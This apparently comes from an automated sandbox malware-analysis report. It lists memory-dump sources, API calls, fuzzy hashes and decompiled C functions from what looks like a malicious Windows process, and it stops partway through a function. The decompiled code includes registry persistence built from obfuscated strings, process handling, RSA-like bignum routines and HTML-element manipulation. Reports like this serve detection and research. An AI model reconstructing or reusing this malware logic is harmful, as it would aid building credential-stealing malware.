Source File: 00000000.00000002.493553228.0000000002671000.00000020.00000001.sdmp, Offset: 02670000, based on PE: true

Associated: 00000000.00000002.493530613.0000000002670000.00000004.00000001.sdmp Download File
Associated: 00000000.00000002.493591153.000000000267C000.00000002.00000001.sdmp Download File
Associated: 00000000.00000002.493607387.000000000267D000.00000004.00000001.sdmp Download File
Associated: 00000000.00000002.493631446.000000000267F000.00000002.00000001.sdmp Download File

Similarity

API ID: Event$ErrorLastReset$lstrcpylstrlenmemcpy
String ID:
API String ID: 1449191863-0
Opcode ID: e96a8dd22c038a79bd37d0c0a655c1729ab025b075a54f571c8fff0952d33dbd
Instruction ID: e6fca22bc2d6b76ca28058f79d65dd4c471379799223eff544759b0484aa0c4a
Opcode Fuzzy Hash: e96a8dd22c038a79bd37d0c0a655c1729ab025b075a54f571c8fff0952d33dbd
Instruction Fuzzy Hash: 7601A2B15402016BE7356A31FC44F1FB7A9EF46364F104A2AF06A911E0D721D859DA61

Uniqueness

Uniqueness Score: -1.00%

Function 02678F10, Relevance: 7.5, APIs: 5, Instructions: 35
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E02678F10(intOrPtr _a4) {
				void* _t2;
				long _t4;
				void* _t5;
				long _t6;
				void* _t7;
				void* _t13;

				_t2 = CreateEventA(0, 1, 0, 0);
				 *0x267d26c = _t2;
				if(_t2 == 0) {
					return GetLastError();
				}
				_t4 = GetVersion();
				if(_t4 != 5) {
					L4:
					if(_t13 <= 0) {
						_t5 = 0x32;
						return _t5;
					}
					L5:
					 *0x267d25c = _t4;
					_t6 = GetCurrentProcessId();
					 *0x267d258 = _t6;
					 *0x267d264 = _a4;
					_t7 = OpenProcess(0x10047a, 0, _t6);
					 *0x267d254 = _t7;
					if(_t7 == 0) {
						 *0x267d254 =  *0x267d254 | 0xffffffff;
					}
					return 0;
				}
				if(_t4 > 0) {
					goto L5;
				}
				_t13 = _t4 - _t4;
				goto L4;
			}

0x02678f18
0x02678f20
0x02678f25
0x00000000
0x02678f7a
0x02678f27
0x02678f2f
0x02678f37
0x02678f37
0x02678f77
0x00000000
0x02678f77
0x02678f39
0x02678f39
0x02678f3e
0x02678f50
0x02678f55
0x02678f5b
0x02678f63
0x02678f68
0x02678f6a
0x02678f6a
0x00000000
0x02678f71
0x02678f33
0x00000000
0x00000000
0x02678f35
0x00000000

APIs

CreateEventA.KERNEL32(00000000,00000001,00000000,00000000,02676A90,?,?,00000001,?,?,?,0267807D,?), ref: 02678F18
GetVersion.KERNEL32(?,00000001,?,?,?,0267807D,?), ref: 02678F27
GetCurrentProcessId.KERNEL32(?,00000001,?,?,?,0267807D,?), ref: 02678F3E
OpenProcess.KERNEL32(0010047A,00000000,00000000,?,00000001,?,?,?,0267807D,?), ref: 02678F5B
GetLastError.KERNEL32(?,00000001,?,?,?,0267807D,?), ref: 02678F7A

Memory Dump Source

Source File: 00000000.00000002.493553228.0000000002671000.00000020.00000001.sdmp, Offset: 02670000, based on PE: true

Associated: 00000000.00000002.493530613.0000000002670000.00000004.00000001.sdmp Download File
Associated: 00000000.00000002.493591153.000000000267C000.00000002.00000001.sdmp Download File
Associated: 00000000.00000002.493607387.000000000267D000.00000004.00000001.sdmp Download File
Associated: 00000000.00000002.493631446.000000000267F000.00000002.00000001.sdmp Download File

Similarity

API ID: Process$CreateCurrentErrorEventLastOpenVersion
String ID:
API String ID: 2270775618-0
Opcode ID: a5a7f76034219abeede61908760509c5f4a99ae94b174e7481b83e8ef13f63a5
Instruction ID: cc82f2aa94c9276b60de9b2979c3fb5c1b982ed82232a7fc4860900d76e28ac4
Opcode Fuzzy Hash: a5a7f76034219abeede61908760509c5f4a99ae94b174e7481b83e8ef13f63a5
Instruction Fuzzy Hash: 91F0AF70EC03419AE7288F35BC4CB1C3BA2AB547C0F401E5AE252C72D4D77488EADB25

Uniqueness

Uniqueness Score: -1.00%

Function 026717D5, Relevance: 7.2, APIs: 3, Strings: 1, Instructions: 172
stringCOMMON

Download Yara Rule

C-Code - Quality: 88%

			E026717D5(void* __ecx, char* _a8, char _a16, intOrPtr* _a20, char _a24) {
				signed int _v8;
				char _v12;
				signed int* _v16;
				char _v284;
				void* __esi;
				char* _t60;
				intOrPtr* _t61;
				intOrPtr _t65;
				char _t68;
				intOrPtr _t72;
				intOrPtr _t73;
				intOrPtr _t75;
				void* _t78;
				void* _t88;
				void* _t97;
				void* _t98;
				char _t104;
				signed int* _t106;
				intOrPtr* _t107;
				void* _t108;

				_t98 = __ecx;
				_v8 = _v8 & 0x00000000;
				_t104 = _a16;
				if(_t104 == 0) {
					__imp__( &_v284,  *0x267d33c);
					_t97 = 0x80000002;
					L6:
					_t60 = E0267809F(0,  &_v284);
					_a8 = _t60;
					if(_t60 == 0) {
						_v8 = 8;
						L29:
						_t61 = _a20;
						if(_t61 != 0) {
							 *_t61 =  *_t61 + 1;
						}
						return _v8;
					}
					_t107 = _a24;
					if(E026788B7(_t98, _t103, _t107, _t97, _t60) != 0) {
						L27:
						E02679039(_a8);
						goto L29;
					}
					_t65 =  *0x267d27c; // 0xc7a5a8
					_t16 = _t65 + 0x267e8fe; // 0x65696c43
					_t68 = E0267809F(0, _t16);
					_a24 = _t68;
					if(_t68 == 0) {
						L14:
						_t29 = _t107 + 0x14; // 0x102
						_t33 = _t107 + 0x10; // 0x3d0267c0
						if(E0267A635(_t103,  *_t33, _t97, _a8,  *0x267d334,  *((intOrPtr*)( *_t29 + 0x28))) == 0) {
							_t72 =  *0x267d27c; // 0xc7a5a8
							if(_t104 == 0) {
								_t35 = _t72 + 0x267ea5f; // 0x4d4c4b48
								_t73 = _t35;
							} else {
								_t34 = _t72 + 0x267e89f; // 0x55434b48
								_t73 = _t34;
							}
							if(E0267816C(_t73,  *0x267d334,  *0x267d338,  &_a24,  &_a16) == 0) {
								if(_t104 == 0) {
									_t75 =  *0x267d27c; // 0xc7a5a8
									_t44 = _t75 + 0x267e871; // 0x74666f53
									_t78 = E0267809F(0, _t44);
									_t105 = _t78;
									if(_t78 == 0) {
										_v8 = 8;
									} else {
										_t47 = _t107 + 0x10; // 0x3d0267c0
										E02672659( *_t47, _t97, _a8,  *0x267d338, _a24);
										_t49 = _t107 + 0x10; // 0x3d0267c0
										E02672659( *_t49, _t97, _t105,  *0x267d330, _a16);
										E02679039(_t105);
									}
								} else {
									_t40 = _t107 + 0x10; // 0x3d0267c0
									E02672659( *_t40, _t97, _a8,  *0x267d338, _a24);
									_t43 = _t107 + 0x10; // 0x3d0267c0
									E02672659( *_t43, _t97, _a8,  *0x267d330, _a16);
								}
								if( *_t107 != 0) {
									E02679039(_a24);
								} else {
									 *_t107 = _a16;
								}
							}
						}
						goto L27;
					}
					_t21 = _t107 + 0x10; // 0x3d0267c0
					if(E02676BFA( *_t21, _t97, _a8, _t68,  &_v16,  &_v12) == 0) {
						_t106 = _v16;
						_t88 = 0x28;
						if(_v12 == _t88) {
							 *_t106 =  *_t106 & 0x00000000;
							_t26 = _t107 + 0x10; // 0x3d0267c0
							E0267A635(_t103,  *_t26, _t97, _a8, _a24, _t106);
						}
						E02679039(_t106);
						_t104 = _a16;
					}
					E02679039(_a24);
					goto L14;
				}
				if(_t104 <= 8 || _t104 + 0x2a >= 0x104 || StrChrA(_a8, 0x5f) != 0) {
					goto L29;
				} else {
					_t103 = _a8;
					E0267A8D8(_t104, _a8,  &_v284);
					__imp__(_t108 + _t104 - 0x117,  *0x267d33c);
					 *((char*)(_t108 + _t104 - 0x118)) = 0x5c;
					_t97 = 0x80000003;
					goto L6;
				}
			}

0x026717d5
0x026717de
0x026717e5
0x026717ea
0x02671857
0x0267185d
0x02671862
0x0267186b
0x02671872
0x02671875
0x026719e9
0x026719f0
0x026719f0
0x026719f5
0x026719f7
0x026719f7
0x02671a00
0x02671a00
0x0267187b
0x02671887
0x026719df
0x026719e2
0x00000000
0x026719e2
0x0267188d
0x02671892
0x0267189b
0x026718a2
0x026718a5
0x026718ef
0x026718ef
0x02671902
0x0267190c
0x02671914
0x02671919
0x02671923
0x02671923
0x0267191b
0x0267191b
0x0267191b
0x0267191b
0x02671945
0x0267194d
0x0267197b
0x02671980
0x02671989
0x0267198e
0x02671992
0x026719c4
0x02671994
0x026719a1
0x026719a4
0x026719b4
0x026719b7
0x026719bd
0x026719bd
0x0267194f
0x0267195c
0x0267195f
0x02671971
0x02671974
0x02671974
0x026719ce
0x026719da
0x026719d0
0x026719d3
0x026719d3
0x026719ce
0x02671945
0x00000000
0x0267190c
0x026718b4
0x026718be
0x026718c0
0x026718c5
0x026718c9
0x026718cb
0x026718d6
0x026718d9
0x026718d9
0x026718df
0x026718e4
0x026718e4
0x026718ea
0x00000000
0x026718ea
0x026717ef
0x00000000
0x02671816
0x02671816
0x02671822
0x02671835
0x0267183b
0x02671843
0x00000000
0x02671843

APIs

StrChrA.SHLWAPI(02673C81,0000005F,00000000,00000000,00000104), ref: 02671808
lstrcpy.KERNEL32(?,?), ref: 02671835

Part of subcall function 0267809F: lstrlen.KERNEL32(?,00000000,0267D330,00000001,02672200,0267D00C,0267D00C,00000000,00000005,00000000,00000000,?,?,?,026796C1,026723E9), ref: 026780A8
Part of subcall function 0267809F: mbstowcs.NTDLL ref: 026780CF
Part of subcall function 0267809F: memset.NTDLL ref: 026780E1

Part of subcall function 02672659: lstrlenW.KERNEL32(02673C81,?,?,026719A9,3D0267C0,80000002,02673C81,02678B1E,74666F53,4D4C4B48,02678B1E,?,3D0267C0,80000002,02673C81,?), ref: 02672679

Part of subcall function 02679039: HeapFree.KERNEL32(00000000,00000000,02677F18,00000000,?,?,00000000), ref: 02679045

lstrcpy.KERNEL32(?,00000000), ref: 02671857

Strings

\, xrefs: 0267183B

Memory Dump Source

Source File: 00000000.00000002.493553228.0000000002671000.00000020.00000001.sdmp, Offset: 02670000, based on PE: true

Associated: 00000000.00000002.493530613.0000000002670000.00000004.00000001.sdmp Download File
Associated: 00000000.00000002.493591153.000000000267C000.00000002.00000001.sdmp Download File
Associated: 00000000.00000002.493607387.000000000267D000.00000004.00000001.sdmp Download File
Associated: 00000000.00000002.493631446.000000000267F000.00000002.00000001.sdmp Download File

Similarity

API ID: lstrcpylstrlen$FreeHeapmbstowcsmemset
String ID: \
API String ID: 3924217599-2967466578
Opcode ID: 47a5ec5e94df3e7df091f91202c00fd26dd85d00f8c79b6b3088f769a473653c
Instruction ID: bbd270d12a48ae7650c5e5897252d407f241fc930c730a822d807d2f2cc03280
Opcode Fuzzy Hash: 47a5ec5e94df3e7df091f91202c00fd26dd85d00f8c79b6b3088f769a473653c
Instruction Fuzzy Hash: 5D514C72500209EFDF159FB0ED40EAA37BAAF09314F10495AFA5996220E731DA6ADF50

Uniqueness

Uniqueness Score: -1.00%

Function 026752F9, Relevance: 6.2, APIs: 4, Instructions: 152
memorystringCOMMON

Download Yara Rule

C-Code - Quality: 46%

			E026752F9(intOrPtr* __eax) {
				void* _v8;
				WCHAR* _v12;
				void* _v16;
				char _v20;
				void* _v24;
				intOrPtr _v28;
				void* _v32;
				intOrPtr _v40;
				short _v48;
				intOrPtr _v56;
				short _v64;
				intOrPtr* _t54;
				intOrPtr* _t56;
				intOrPtr _t57;
				intOrPtr* _t58;
				intOrPtr* _t60;
				void* _t61;
				intOrPtr* _t63;
				intOrPtr* _t65;
				intOrPtr* _t67;
				intOrPtr* _t69;
				intOrPtr* _t71;
				intOrPtr* _t74;
				intOrPtr* _t76;
				intOrPtr _t78;
				intOrPtr* _t82;
				intOrPtr* _t86;
				intOrPtr _t102;
				intOrPtr _t108;
				void* _t117;
				void* _t121;
				void* _t122;
				intOrPtr _t129;

				_t122 = _t121 - 0x3c;
				_push( &_v8);
				_push(__eax);
				_t117 =  *((intOrPtr*)( *__eax + 0x48))();
				if(_t117 >= 0) {
					_t54 = _v8;
					_t102 =  *0x267d27c; // 0xc7a5a8
					_t5 = _t102 + 0x267e038; // 0x3050f485
					_t117 =  *((intOrPtr*)( *_t54))(_t54, _t5,  &_v32);
					_t56 = _v8;
					_t57 =  *((intOrPtr*)( *_t56 + 8))(_t56);
					if(_t117 >= 0) {
						__imp__#2(0x267c2b0);
						_v28 = _t57;
						if(_t57 == 0) {
							_t117 = 0x8007000e;
						} else {
							_t60 = _v32;
							_t61 =  *((intOrPtr*)( *_t60 + 0xbc))(_t60, _v28,  &_v24);
							_t86 = __imp__#6;
							_t117 = _t61;
							if(_t117 >= 0) {
								_t63 = _v24;
								_t117 =  *((intOrPtr*)( *_t63 + 0x24))(_t63,  &_v20);
								if(_t117 >= 0) {
									_t129 = _v20;
									if(_t129 != 0) {
										_v64 = 3;
										_v48 = 3;
										_v56 = 0;
										_v40 = 0;
										if(_t129 > 0) {
											while(1) {
												_t67 = _v24;
												asm("movsd");
												asm("movsd");
												asm("movsd");
												asm("movsd");
												_t122 = _t122;
												asm("movsd");
												asm("movsd");
												asm("movsd");
												asm("movsd");
												_t117 =  *((intOrPtr*)( *_t67 + 0x2c))(_t67,  &_v8);
												if(_t117 < 0) {
													goto L16;
												}
												_t69 = _v8;
												_t108 =  *0x267d27c; // 0xc7a5a8
												_t28 = _t108 + 0x267e0bc; // 0x3050f1ff
												_t117 =  *((intOrPtr*)( *_t69))(_t69, _t28,  &_v16);
												if(_t117 >= 0) {
													_t74 = _v16;
													_t117 =  *((intOrPtr*)( *_t74 + 0x34))(_t74,  &_v12);
													if(_t117 >= 0 && _v12 != 0) {
														_t78 =  *0x267d27c; // 0xc7a5a8
														_t33 = _t78 + 0x267e078; // 0x76006f
														if(lstrcmpW(_v12, _t33) == 0) {
															_t82 = _v16;
															 *((intOrPtr*)( *_t82 + 0x114))(_t82);
														}
														 *_t86(_v12);
													}
													_t76 = _v16;
													 *((intOrPtr*)( *_t76 + 8))(_t76);
												}
												_t71 = _v8;
												 *((intOrPtr*)( *_t71 + 8))(_t71);
												_v40 = _v40 + 1;
												if(_v40 < _v20) {
													continue;
												}
												goto L16;
											}
										}
									}
								}
								L16:
								_t65 = _v24;
								 *((intOrPtr*)( *_t65 + 8))(_t65);
							}
							 *_t86(_v28);
						}
						_t58 = _v32;
						 *((intOrPtr*)( *_t58 + 8))(_t58);
					}
				}
				return _t117;
			}

0x026752fe
0x02675307
0x02675308
0x0267530c
0x02675312
0x02675318
0x02675321
0x02675327
0x02675331
0x02675333
0x02675339
0x0267533e
0x02675349
0x02675351
0x02675354
0x02675477
0x0267535a
0x0267535a
0x02675367
0x0267536d
0x02675373
0x02675377
0x0267537d
0x0267538a
0x0267538e
0x02675394
0x02675397
0x0267539d
0x026753a3
0x026753a9
0x026753ac
0x026753af
0x026753b5
0x026753be
0x026753c4
0x026753c5
0x026753c8
0x026753c9
0x026753ca
0x026753d2
0x026753d3
0x026753d4
0x026753d6
0x026753da
0x026753de
0x00000000
0x00000000
0x026753e4
0x026753ed
0x026753f3
0x026753fd
0x02675401
0x02675403
0x02675410
0x02675414
0x0267541c
0x02675421
0x02675433
0x02675435
0x0267543b
0x0267543b
0x02675444
0x02675444
0x02675446
0x0267544c
0x0267544c
0x0267544f
0x02675455
0x02675458
0x02675461
0x00000000
0x00000000
0x00000000
0x02675461
0x026753b5
0x026753af
0x02675397
0x02675467
0x02675467
0x0267546d
0x0267546d
0x02675473
0x02675473
0x0267547c
0x02675482
0x02675482
0x0267533e
0x0267548b

APIs

SysAllocString.OLEAUT32(0267C2B0), ref: 02675349
lstrcmpW.KERNEL32(00000000,0076006F), ref: 0267542B
SysFreeString.OLEAUT32(00000000), ref: 02675444
SysFreeString.OLEAUT32(?), ref: 02675473

Memory Dump Source

Source File: 00000000.00000002.493553228.0000000002671000.00000020.00000001.sdmp, Offset: 02670000, based on PE: true

Associated: 00000000.00000002.493530613.0000000002670000.00000004.00000001.sdmp Download File
Associated: 00000000.00000002.493591153.000000000267C000.00000002.00000001.sdmp Download File
Associated: 00000000.00000002.493607387.000000000267D000.00000004.00000001.sdmp Download File
Associated: 00000000.00000002.493631446.000000000267F000.00000002.00000001.sdmp Download File

Similarity

API ID: String$Free$Alloclstrcmp
String ID:
API String ID: 1885612795-0
Opcode ID: 5be4fb7d9e97bf67d866a411fbbbac7a6f1a931405f2975882e812e548997b95
Instruction ID: 9443a4098fd36e49396107de3df6cc56caba318c0e64cf4b921b87b93d278553
Opcode Fuzzy Hash: 5be4fb7d9e97bf67d866a411fbbbac7a6f1a931405f2975882e812e548997b95
Instruction Fuzzy Hash: AD514D71D00519EFCB00DFA8D4889AEB7BAFF88705B144999E916EB314D7319D45CFA0

Uniqueness

Uniqueness Score: -1.00%

Function 02671017, Relevance: 6.1, APIs: 4, Instructions: 136
COMMON

Download Yara Rule

C-Code - Quality: 85%

			E02671017(signed int __eax, void* __eflags, intOrPtr _a4, signed int _a8, signed int _a12, intOrPtr _a16) {
				intOrPtr _v8;
				intOrPtr _v12;
				signed int _v16;
				void _v92;
				void _v236;
				void* _t55;
				unsigned int _t56;
				signed int _t66;
				signed int _t74;
				void* _t76;
				signed int _t79;
				void* _t81;
				void* _t92;
				void* _t96;
				signed int* _t99;
				signed int _t101;
				signed int _t103;
				void* _t107;

				_t92 = _a12;
				_t101 = __eax;
				_t55 = E0267A7AA(_a16, _t92);
				_t79 = _t55;
				if(_t79 == 0) {
					L18:
					return _t55;
				}
				_t56 =  *(_t92 + _t79 * 4 - 4);
				_t81 = 0;
				_t96 = 0x20;
				if(_t56 == 0) {
					L4:
					_t97 = _t96 - _t81;
					_v12 = _t96 - _t81;
					E0267968F(_t79,  &_v236);
					 *((intOrPtr*)(_t107 + _t101 * 4 - 0xe8)) = E02678967(_t101,  &_v236, _a8, _t96 - _t81);
					E02678967(_t79,  &_v92, _a12, _t97);
					_v8 =  *((intOrPtr*)(_t107 + _t79 * 4 - 0x5c));
					_t66 = E0267968F(_t101, 0x267d1b0);
					_t103 = _t101 - _t79;
					_a8 = _t103;
					if(_t103 < 0) {
						L17:
						E0267968F(_a16, _a4);
						E02671D6C(_t79,  &_v236, _a4, _t97);
						memset( &_v236, 0, 0x8c);
						_t55 = memset( &_v92, 0, 0x44);
						goto L18;
					}
					_t99 = _t107 + (_t103 + _t79) * 4 - 0xe8;
					do {
						if(_v8 != 0xffffffff) {
							_push(1);
							_push(0);
							_push(0);
							_push( *_t99);
							L0267B0C8();
							_t74 = _t66 +  *(_t99 - 4);
							asm("adc edx, esi");
							_push(0);
							_push(_v8 + 1);
							_push(_t92);
							_push(_t74);
							L0267B0C2();
							if(_t92 > 0 || _t74 > 0xffffffff) {
								_t74 = _t74 | 0xffffffff;
								_v16 = _v16 & 0x00000000;
							}
						} else {
							_t74 =  *_t99;
						}
						_t106 = _t107 + _a8 * 4 - 0xe8;
						_a12 = _t74;
						_t76 = E02671FB1(_t79,  &_v92, _t92, _t107 + _a8 * 4 - 0xe8, _t107 + _a8 * 4 - 0xe8, _t74);
						while(1) {
							 *_t99 =  *_t99 - _t76;
							if( *_t99 != 0) {
								goto L14;
							}
							L13:
							_t92 =  &_v92;
							if(E02678B62(_t79, _t92, _t106) < 0) {
								break;
							}
							L14:
							_a12 = _a12 + 1;
							_t76 = E02679100(_t79,  &_v92, _t106, _t106);
							 *_t99 =  *_t99 - _t76;
							if( *_t99 != 0) {
								goto L14;
							}
							goto L13;
						}
						_a8 = _a8 - 1;
						_t66 = _a12;
						_t99 = _t99 - 4;
						 *(0x267d1b0 + _a8 * 4) = _t66;
					} while (_a8 >= 0);
					_t97 = _v12;
					goto L17;
				}
				while(_t81 < _t96) {
					_t81 = _t81 + 1;
					_t56 = _t56 >> 1;
					if(_t56 != 0) {
						continue;
					}
					goto L4;
				}
				goto L4;
			}

0x0267101a
0x02671026
0x0267102c
0x02671031
0x02671035
0x02671192
0x02671196
0x02671196
0x0267103b
0x0267103f
0x02671045
0x02671046
0x02671051
0x02671057
0x0267105c
0x0267105f
0x02671079
0x02671085
0x0267108e
0x02671098
0x0267109d
0x0267109f
0x026710a2
0x02671150
0x02671156
0x02671167
0x0267117a
0x0267118a
0x00000000
0x0267118f
0x026710ab
0x026710b2
0x026710b6
0x026710bc
0x026710be
0x026710c0
0x026710c2
0x026710c4
0x026710ce
0x026710d3
0x026710d5
0x026710d7
0x026710d8
0x026710d9
0x026710da
0x026710e1
0x026710e8
0x026710eb
0x026710eb
0x026710b8
0x026710b8
0x026710b8
0x026710f3
0x026710fb
0x02671104
0x02671109
0x02671109
0x0267110e
0x00000000
0x00000000
0x02671110
0x02671113
0x0267111d
0x00000000
0x00000000
0x0267111f
0x0267111f
0x02671129
0x02671109
0x0267110e
0x00000000
0x00000000
0x00000000
0x0267110e
0x02671133
0x02671136
0x02671139
0x02671140
0x02671140
0x0267114d
0x00000000
0x0267114d
0x02671048
0x0267104c
0x0267104d
0x0267104f
0x00000000
0x00000000
0x00000000
0x0267104f
0x00000000

APIs

_allmul.NTDLL(?,00000000,00000000,00000001), ref: 026710C4
_aulldiv.NTDLL(00000000,?,00000100,00000000), ref: 026710DA
memset.NTDLL ref: 0267117A
memset.NTDLL ref: 0267118A

Memory Dump Source

Source File: 00000000.00000002.493553228.0000000002671000.00000020.00000001.sdmp, Offset: 02670000, based on PE: true

Associated: 00000000.00000002.493530613.0000000002670000.00000004.00000001.sdmp Download File
Associated: 00000000.00000002.493591153.000000000267C000.00000002.00000001.sdmp Download File
Associated: 00000000.00000002.493607387.000000000267D000.00000004.00000001.sdmp Download File
Associated: 00000000.00000002.493631446.000000000267F000.00000002.00000001.sdmp Download File

Similarity

API ID: memset$_allmul_aulldiv
String ID:
API String ID: 3041852380-0
Opcode ID: 32ee9041feb81f3ec36927ccf8b803cd7a62d336adc534c1484b190e592907c0
Instruction ID: fa23797cf48d03c291f6ba3c6590b5b6f3c9079db5ddb287daba919dd3dcdf45
Opcode Fuzzy Hash: 32ee9041feb81f3ec36927ccf8b803cd7a62d336adc534c1484b190e592907c0
Instruction Fuzzy Hash: 3F419571A00289AFDB109FA8EC44FEE7775EF45310F10866AE919AB280DB709D598F94

Uniqueness

Uniqueness Score: -1.00%

Function 0267A9AB, Relevance: 6.1, APIs: 4, Instructions: 126stringCOMMON

Download Yara Rule

APIs

lstrlen.KERNEL32(?,00000008,76D24D40), ref: 0267A9BD

Part of subcall function 02672049: RtlAllocateHeap.NTDLL(00000000,00000000,02677E50), ref: 02672055

ResetEvent.KERNEL32(?), ref: 0267AA31
GetLastError.KERNEL32 ref: 0267AA54
GetLastError.KERNEL32 ref: 0267AAFF

Part of subcall function 02679039: HeapFree.KERNEL32(00000000,00000000,02677F18,00000000,?,?,00000000), ref: 02679045

Memory Dump Source

Source File: 00000000.00000002.493553228.0000000002671000.00000020.00000001.sdmp, Offset: 02670000, based on PE: true

Associated: 00000000.00000002.493530613.0000000002670000.00000004.00000001.sdmp Download File
Associated: 00000000.00000002.493591153.000000000267C000.00000002.00000001.sdmp Download File
Associated: 00000000.00000002.493607387.000000000267D000.00000004.00000001.sdmp Download File
Associated: 00000000.00000002.493631446.000000000267F000.00000002.00000001.sdmp Download File

Similarity

API ID: ErrorHeapLast$AllocateEventFreeResetlstrlen
String ID:
API String ID: 943265810-0
Opcode ID: 43c8de992e8cb08fe4a629cd6c39a2bb847e0e42c9016112f56bd6f84e6c3258
Instruction ID: bae8ed45f3981fabb9d89c29bc06a61bedca798393688e6399eb8c9054cd39ad
Opcode Fuzzy Hash: 43c8de992e8cb08fe4a629cd6c39a2bb847e0e42c9016112f56bd6f84e6c3258
Instruction Fuzzy Hash: 7F418D72940245BBDB249FA5EC88E6F7BBDEF89704B00491DF152E1190E771E999CF20

Uniqueness

Uniqueness Score: -1.00%

Function 026739BF, Relevance: 6.1, APIs: 4, Instructions: 112
COMMON

Download Yara Rule

C-Code - Quality: 39%

			E026739BF(void* __eax, void* __ecx) {
				char _v8;
				void* _v12;
				intOrPtr _v16;
				char _v20;
				void* __esi;
				intOrPtr _t36;
				intOrPtr* _t37;
				intOrPtr* _t39;
				void* _t53;
				long _t58;
				void* _t59;

				_t53 = __ecx;
				_t59 = __eax;
				_t58 = 0;
				ResetEvent( *(__eax + 0x1c));
				_push( &_v8);
				_push(4);
				_push( &_v20);
				_push( *((intOrPtr*)(_t59 + 0x18)));
				if( *0x267d134() != 0) {
					L5:
					if(_v8 == 0) {
						 *((intOrPtr*)(_t59 + 0x30)) = 0;
						L21:
						return _t58;
					}
					 *0x267d168(0, 1,  &_v12);
					if(0 != 0) {
						_t58 = 8;
						goto L21;
					}
					_t36 = E02672049(0x1000);
					_v16 = _t36;
					if(_t36 == 0) {
						_t58 = 8;
						L18:
						_t37 = _v12;
						 *((intOrPtr*)( *_t37 + 8))(_t37);
						goto L21;
					}
					_push(0);
					_push(_v8);
					_push( &_v20);
					while(1) {
						_t39 = _v12;
						_t56 =  *_t39;
						 *((intOrPtr*)( *_t39 + 0x10))(_t39);
						ResetEvent( *(_t59 + 0x1c));
						_push( &_v8);
						_push(0x1000);
						_push(_v16);
						_push( *((intOrPtr*)(_t59 + 0x18)));
						if( *0x267d134() != 0) {
							goto L13;
						}
						_t58 = GetLastError();
						if(_t58 != 0x3e5) {
							L15:
							E02679039(_v16);
							if(_t58 == 0) {
								_t58 = E02677A07(_v12, _t59);
							}
							goto L18;
						}
						_t58 = E02671C47( *(_t59 + 0x1c), _t56, 0xffffffff);
						if(_t58 != 0) {
							goto L15;
						}
						_t58 =  *((intOrPtr*)(_t59 + 0x28));
						if(_t58 != 0) {
							goto L15;
						}
						L13:
						_t58 = 0;
						if(_v8 == 0) {
							goto L15;
						}
						_push(0);
						_push(_v8);
						_push(_v16);
					}
				}
				_t58 = GetLastError();
				if(_t58 != 0x3e5) {
					L4:
					if(_t58 != 0) {
						goto L21;
					}
					goto L5;
				}
				_t58 = E02671C47( *(_t59 + 0x1c), _t53, 0xffffffff);
				if(_t58 != 0) {
					goto L21;
				}
				_t58 =  *((intOrPtr*)(_t59 + 0x28));
				goto L4;
			}

0x026739bf
0x026739ce
0x026739d3
0x026739d5
0x026739da
0x026739db
0x026739e0
0x026739e1
0x026739ec
0x02673a1d
0x02673a22
0x02673ae5
0x02673ae8
0x02673aee
0x02673aee
0x02673a2f
0x02673a37
0x02673ae2
0x00000000
0x02673ae2
0x02673a42
0x02673a49
0x02673a4c
0x02673ad4
0x02673ad5
0x02673ad5
0x02673adb
0x00000000
0x02673adb
0x02673a52
0x02673a54
0x02673a5a
0x02673a5b
0x02673a5b
0x02673a5e
0x02673a61
0x02673a67
0x02673a6c
0x02673a6d
0x02673a72
0x02673a75
0x02673a80
0x00000000
0x00000000
0x02673a88
0x02673a90
0x02673ab9
0x02673abc
0x02673ac3
0x02673ace
0x02673ace
0x00000000
0x02673ac3
0x02673a9c
0x02673aa0
0x00000000
0x00000000
0x02673aa2
0x02673aa7
0x00000000
0x00000000
0x02673aa9
0x02673aa9
0x02673aae
0x00000000
0x00000000
0x02673ab0
0x02673ab1
0x02673ab4
0x02673ab4
0x02673a5b
0x026739f4
0x026739fc
0x02673a15
0x02673a17
0x00000000
0x00000000
0x00000000
0x02673a17
0x02673a08
0x02673a0c
0x00000000
0x00000000
0x02673a12
0x00000000

APIs

ResetEvent.KERNEL32(?), ref: 026739D5
GetLastError.KERNEL32 ref: 026739EE

Part of subcall function 02671C47: WaitForMultipleObjects.KERNEL32(00000002,0267AA72,00000000,0267AA72,?,?,?,0267AA72,0000EA60), ref: 02671C62

ResetEvent.KERNEL32(?), ref: 02673A67
GetLastError.KERNEL32 ref: 02673A82

Memory Dump Source

Source File: 00000000.00000002.493553228.0000000002671000.00000020.00000001.sdmp, Offset: 02670000, based on PE: true

Associated: 00000000.00000002.493530613.0000000002670000.00000004.00000001.sdmp Download File
Associated: 00000000.00000002.493591153.000000000267C000.00000002.00000001.sdmp Download File
Associated: 00000000.00000002.493607387.000000000267D000.00000004.00000001.sdmp Download File
Associated: 00000000.00000002.493631446.000000000267F000.00000002.00000001.sdmp Download File

Similarity

API ID: ErrorEventLastReset$MultipleObjectsWait
String ID:
API String ID: 2394032930-0
Opcode ID: 256270f50b6a96d63ffd77fa36eb5d4c0552629a55558ad049e7b273a808c5b0
Instruction ID: d995aa06361655134e84b2069448bfb662db17eb585210db666a0e8faf809481
Opcode Fuzzy Hash: 256270f50b6a96d63ffd77fa36eb5d4c0552629a55558ad049e7b273a808c5b0
Instruction Fuzzy Hash: 1331E732A40204EBCF21DBA4EC46F6E77B9EF84360F1005A9E515E7390EB31E955EB10

Uniqueness

Uniqueness Score: -1.00%

Function 026742EA, Relevance: 6.1, APIs: 4, Instructions: 95
synchronizationCOMMON

Download Yara Rule

C-Code - Quality: 87%

			E026742EA(signed int _a4, signed int* _a8) {
				void* __ecx;
				void* __edi;
				signed int _t6;
				intOrPtr _t8;
				intOrPtr _t12;
				short* _t19;
				void* _t25;
				void* _t26;
				signed int* _t28;
				CHAR* _t30;
				long _t31;
				intOrPtr* _t32;

				_t6 =  *0x267d270; // 0xd448b889
				_t32 = _a4;
				_a4 = _t6 ^ 0x109a6410;
				_t8 =  *0x267d27c; // 0xc7a5a8
				_t3 = _t8 + 0x267e862; // 0x61636f4c
				_t25 = 0;
				_t30 = E02677A9A(_t3, 1);
				if(_t30 != 0) {
					_t25 = CreateEventA(0x267d2a8, 1, 0, _t30);
					E02679039(_t30);
				}
				_t12 =  *0x267d25c; // 0x2000000a
				if(_t12 <= 5 || _t12 == 6 && _t12 >= 2 ||  *_t32 == 0 || E0267757F() != 0) {
					L12:
					_t28 = _a8;
					if(_t28 != 0) {
						 *_t28 =  *_t28 | 0x00000001;
					}
					_t31 = E0267205E(_t32, _t26);
					if(_t31 == 0 && _t25 != 0) {
						_t31 = WaitForSingleObject(_t25, 0x4e20);
					}
					if(_t28 != 0 && _t31 != 0) {
						 *_t28 =  *_t28 & 0xfffffffe;
